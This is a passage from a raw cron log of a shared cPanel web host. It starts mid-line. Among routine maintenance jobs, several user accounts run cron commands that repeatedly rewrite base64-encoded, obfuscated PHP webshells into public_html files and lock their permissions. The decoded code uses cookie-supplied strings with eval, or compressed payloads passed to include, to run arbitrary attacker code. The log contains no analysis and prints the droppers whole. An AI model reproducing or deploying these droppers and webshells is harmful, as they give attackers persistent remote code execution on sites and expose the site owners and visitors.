"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:04:02 medusa CROND[9692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:04:02 medusa CROND[9699]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 03:04:02 medusa CROND[9700]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:04:02 medusa CROND[9701]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:04:02 medusa CROND[9702]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:04:02 medusa CROND[9704]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:04:02 medusa CROND[9706]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:04:02 medusa CROND[9708]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:05:01 medusa CROND[14310]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 03:05:01 medusa CROND[14550]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:05:01 medusa CROND[14551]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:05:01 medusa CROND[14552]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:05:01 medusa CROND[14549]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 03:05:01 medusa CROND[14553]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:05:01 medusa CROND[14554]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 03:05:01 medusa CROND[14556]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 03:05:01 medusa CROND[14555]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 03:05:01 medusa CROND[14557]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 03:05:01 medusa CROND[14560]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:05:01 medusa CROND[14570]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 03:05:01 medusa CROND[14576]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:05:01 medusa CROND[14578]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:05:01 medusa CROND[14584]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:05:01 medusa CROND[14585]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 03:05:01 medusa CROND[14586]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:05:01 medusa CROND[14587]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 03:05:01 medusa CROND[14588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:05:01 medusa CROND[14592]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 03:05:01 medusa CROND[14593]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 03:05:01 medusa CROND[14597]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 03:05:01 medusa CROND[14598]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:05:01 medusa CROND[14591]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 03:06:01 medusa CROND[19576]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:06:01 medusa CROND[19740]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:06:01 medusa CROND[19746]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:06:01 medusa CROND[19747]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 03:06:01 medusa CROND[19748]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:06:01 medusa CROND[19749]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 03:06:01 medusa CROND[19750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:06:01 medusa CROND[19751]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:06:01 medusa CROND[19753]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:06:01 medusa CROND[19754]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:06:01 medusa CROND[19760]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
